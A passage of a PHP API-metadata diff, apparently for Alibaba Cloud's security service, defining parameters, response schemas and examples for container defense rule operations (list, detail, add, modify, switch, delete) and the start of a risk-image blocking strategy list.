.'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'IsDefaultRule', + 'in' => 'query', + 'schema' => [ + 'description' => '是否系统默认规则。>此参数已废弃。>', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则列表对象。', + 'type' => 'object', + 'properties' => [ + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '181', + ], + 'RuleType' => [ + 'description' => '规则类型，取值：'."\n" + .'- **1**： 系统规则。'."\n" + .'- **2**： 用户自定义规则。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test-rule-01', + ], + 'Description' => [ + 'description' => '规则描述。', + 'type' => 'string', + 'example' => 'defense rule.', + ], + 'RuleAction' => [ + 'description' => '规则动作，取值：'."\n" + ."\n" + .'- **1**：告警。'."\n" + ."\n" + .'- **2**：拦截。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleSwitch' => [ + 'description' => '规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启。'."\n" + .'- **0**：表示关闭。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ClusterCount' => [ + 'description' => '总集群数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterIdList' => [ + 'description' => '规则内的集群列表。', + 'type' => 'string', + 'example' => 'cfb41a8**8a106', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '返回结果的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'LastRowKey' => [ + 'description' => '最后一条数据的键。', + 'type' => 'string', + 'example' => 'CAESGgo***jE2NDc4NjE=', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B60***', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5E3A63BA-***843', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"RuleId\\": 181,\\n \\"RuleType\\": 1,\\n \\"RuleName\\": \\"test-rule-01\\",\\n \\"Description\\": \\"defense rule.\\",\\n \\"RuleAction\\": 1,\\n \\"RuleSwitch\\": 0,\\n \\"ClusterCount\\": 1,\\n \\"ClusterIdList\\": \\"cfb41a8**8a106\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 9,\\n \\"LastRowKey\\": \\"CAESGgo***jE2NDc4NjE=\\",\\n \\"NextToken\\": \\"B60***\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"5E3A63BA-***843\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取非镜像程序防御规则列表', + ], + 'GetContainerDefenseRuleDetail' => [ + 'summary' => '获取非镜像程序防御规则详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'title' => 'id', + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListContainerDefenseRule](~~2590599~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '156', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '规则详情。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1948', + ], + 'AliUid' => [ + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1766185894104***', + ], + 'EventType' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + ."\n" + .'- **容器主动防御**', + 'type' => 'string', + 'example' => 'EventType', + ], + 'EventName' => [ + 'title' => '告警名称', + 'description' => '告警名称，取值：'."\n" + ."\n" + .'- **非镜像程序启动**', + 'type' => 'string', + 'example' => 'EventName', + ], + 'RuleAction' => [ + 'title' => '规则操作1=告警，2=阻断', + 'description' => '规则动作，取值：'."\n" + ."\n" + .'- **1**：告警。'."\n" + ."\n" + .'- **2**：拦截。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleSwitch' => [ + 'title' => '规则开关，0=关，1=开', + 'description' => '规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启'."\n" + .'- **0**：表示关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RuleType' => [ + 'title' => '规则类型', + 'description' => '规则类型。取值：'."\n" + .'- **1**：系统规则。'."\n" + ."\n" + .'- **2**：自定义规则。', + 'type' => 'string', + 'example' => '1', + ], + 'RuleName' => [ + 'title' => '规则名称', + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test-000', + ], + 'Description' => [ + 'title' => '描述', + 'description' => '描述。', + 'type' => 'string', + 'example' => '防御规则。', + ], + 'Whitelist' => [ + 'title' => '白名单', + 'description' => '白名单', + 'type' => 'object', + 'properties' => [ + 'Hash' => [ + 'description' => '文件hash列表。>暂不支持此参数>', + 'type' => 'array', + 'items' => [ + 'description' => '文件hash。>暂不支持此参数>', + 'type' => 'string', + 'deprecated' => true, + 'example' => '0', + ], + 'deprecated' => true, + ], + 'Path' => [ + 'description' => '加入白名单的文件路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '加入白名单的文件路径。', + 'type' => 'string', + 'example' => '/home/workdir/', + ], + ], + 'Image' => [ + 'description' => '加入白名单的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '加入白名单的镜像。', + 'type' => 'string', + 'example' => 'sdf:sdf', + ], + ], + ], + ], + 'Scope' => [ + 'title' => '作用域', + 'description' => '规则生效范围。', + 'type' => 'array', + 'items' => [ + 'description' => '规则生效范围。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'c9bea04*2b25**', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间，取值：'."\n" + ."\n" + .'- **0**：否。'."\n" + .'- **1**：是。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Namespaces' => [ + 'description' => '命名空间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间ID。', + 'type' => 'string', + 'example' => 'kube-system', + ], + ], + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '77546BF4-CCE8-5F8D-B42B-5FD3306B43B4', + ], + 'HttpStatusCode' => [ + 'description' => '请求状态码，返回200代表请求成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 1948,\\n \\"AliUid\\": 0,\\n \\"EventType\\": \\"EventType\\",\\n \\"EventName\\": \\"EventName\\",\\n \\"RuleAction\\": 1,\\n \\"RuleSwitch\\": 0,\\n \\"RuleType\\": \\"1\\",\\n \\"RuleName\\": \\"test-000\\",\\n \\"Description\\": \\"防御规则。\\",\\n \\"Whitelist\\": {\\n \\"Hash\\": [\\n \\"0\\"\\n ],\\n \\"Path\\": [\\n \\"/home/workdir/\\"\\n ],\\n \\"Image\\": [\\n \\"sdf:sdf\\"\\n ]\\n },\\n \\"Scope\\": [\\n {\\n \\"ClusterId\\": \\"c9bea04*2b25**\\",\\n \\"AllNamespace\\": 1,\\n \\"Namespaces\\": [\\n \\"kube-system\\"\\n ]\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"77546BF4-CCE8-5F8D-B42B-5FD3306B43B4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取非镜像程序防御规则详情', + ], + 'ModifyContainerDefenseRule' => [ + 'summary' => '修改非镜像程序防御规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '162194', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'title' => 'id', + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListContainerDefenseRule](~~2590599~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'title' => '规则操作', + 'description' => '规则动作，取值：'."\n" + ."\n" + .'- **1**：告警。'."\n" + ."\n" + .'- **2**：拦截。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RuleSwitch', + 'in' => 'query', + 'schema' => [ + 'title' => '规则开关', + 'description' => '规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启。'."\n" + .'- **0**：表示关闭。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'title' => '规则名称', + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'text-001', + ], + ], + [ + 'name' => 'Description', + 'in' => 'query', + 'schema' => [ + 'title' => '描述', + 'description' => '规则描述。', + 'type' => 'string', + 'required' => false, + 'example' => '防御规则。', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- 1: 系统规则'."\n" + .'- 2: 用户规则', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Whitelist', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'title' => '白名单', + 'description' => '白名单', + 'type' => 'object', + 'properties' => [ + 'Hash' => [ + 'description' => '文件hash。>暂不支持此参数。>', + 'type' => 'array', + 'items' => [ + 'description' => '文件hash。>暂不支持此参数。>', + 'type' => 'string', + 'deprecated' => true, + 'required' => false, + 'example' => '0', + ], + 'deprecated' => true, + 'required' => false, + ], + 'Path' => [ + 'description' => '加入白名单的文件路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/workspace/', + ], + 'required' => false, + ], + 'Image' => [ + 'description' => '需要加白的镜像。', + 'type' => 'array', + 'items' => [ + 'description' => '需要加白的镜像。', + 'type' => 'string', + 'required' => false, + 'example' => 'repo:tag', + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Scope', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '作用域', + 'description' => '规则生效范围列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则生效范围对象。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '指定要生效的集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c54b***1501', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间，取值：'."\n" + ."\n" + .'- **0**：否。'."\n" + .'- **1**：是。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'Namespaces' => [ + 'description' => '命名空间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'kube-system', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '修改成功的规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'True', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '768DFBE5-*A5DC35**', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP请求返回的响应状态码，200表示请求成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 100,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"768DFBE5-*A5DC35**\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '修改非镜像程序防御规则', + ], + 'ModifyContainerDefenseRuleSwitch' => [ + 'summary' => '修改非镜像程序防御规则开关。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '163648', + 'abilityTreeNodes' => [ + 'FEATUREsas5HPCI8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RuleIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要修改的规则的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要删除的规则的ID。'."\n" + .'> 您可以调用[ListContainerDefenseRule](~~2590599~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '188', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RuleSwitch', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启。'."\n" + .'- **0**：表示关闭。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回修改的行数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30', + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C8A137FB-6E18-5741-9B47-D9A0EBA3495F', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 30,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C8A137FB-6E18-5741-9B47-D9A0EBA3495F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '修改非镜像程序防御规则开关', + ], + 'DeleteContainerDefenseRule' => [ + 'summary' => '删除非镜像程序防御规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '162193', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RuleIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要删除的规则的ID列表。'."\n" + .'> 您可以调用[ListContainerDefenseRule](~~2590599~~)接口获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '214', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '删除成功的规则数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '47365EC5-**-6DEA1788EB11', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP请求返回的响应状态码，200表示请求发送成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"47365EC5-**-6DEA1788EB11\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除非镜像程序防御规则', + ], + 'AddContainerDefenseRule' => [ + 'summary' => '新建非镜像程序防御规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'title' => 'id', + 'description' => '规则ID，创建时无需传入。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '500018', + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'title' => '规则操作', + 'description' => '规则命中时执行操作。取值：'."\n" + ."\n" + .'- **1**：告警。'."\n" + ."\n" + .'- **2**：阻断。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'enumValueTitles' => [ + 1 => '告警', + '阻断', + ], + 'example' => '1', + ], + ], + [ + 'name' => 'RuleSwitch', + 'in' => 'query', + 'schema' => [ + 'title' => '规则开关', + 'description' => '规则开关。取值：'."\n" + ."\n" + .'- **0**：关闭。'."\n" + ."\n" + .'- **1**：开启。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'enumValueTitles' => [ + '关闭', + '开启', + ], + 'example' => '1', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'title' => '规则名称', + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'auto-test-rule-lt9umq', + ], + ], + [ + 'name' => 'Description', + 'in' => 'query', + 'schema' => [ + 'title' => '描述', + 'description' => '描述。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-proc-defense', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- 2： 用户规则'."\n" + ."\n" + .'>仅支持取值2。>', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'Whitelist', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'title' => '白名单', + 'description' => '白名单。', + 'type' => 'object', + 'properties' => [ + 'Hash' => [ + 'description' => '文件hash。>暂不支持此参数。>', + 'type' => 'array', + 'items' => [ + 'description' => '加白文件哈希。', + 'type' => 'string', + 'deprecated' => true, + 'required' => false, + 'example' => 'hashcode', + ], + 'deprecated' => true, + 'required' => false, + ], + 'Path' => [ + 'description' => '需要加白的文件路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要加白的文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/test/worker.sh', + ], + 'required' => false, + ], + 'Image' => [ + 'description' => '需要加白的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要加白的镜像。', + 'type' => 'string', + 'required' => false, + 'example' => 'repo:tag', + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Scope', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '作用域', + 'description' => '作用域。', + 'type' => 'array', + 'items' => [ + 'description' => '作用域。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '集群ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '8e2***75b', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间。取值：'."\n" + ."\n" + .'- **0**：（用Namespaces参数）指定需要包含的命名空间。'."\n" + ."\n" + .'- **1**：包含所有命名空间。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'enumValueTitles' => [ + '（用Namespaces参数）指定需要包含的命名空间', + '包含所有命名空间', + ], + 'example' => '0', + ], + 'Namespaces' => [ + 'description' => '包含的命名空间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '包含的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回结果，创建成功的规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '182', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'enumValueTitles' => [ + 'true' => '接口调用成功', + 'false' => '接口调用失败', + ], + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'There was an error with your request.', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8C376***AE74FB4', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 182,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"RequestId\\": \\"8C376***AE74FB4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '新建非镜像程序防御规则', + ], + 'ListOpaClusterStrategyNew' => [ + 'summary' => '获取风险镜像阻断策略列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '策略名称', + 'description' => '策略名称。', + 'type' => 'array', + 'items' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'ImageName', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '镜像名称', + 'description' => '镜像名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'repo:tag', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'Label', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '标签', + 'description' => '标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器标签。', + 'type' => 'string', + 'required' => false, + 'example' 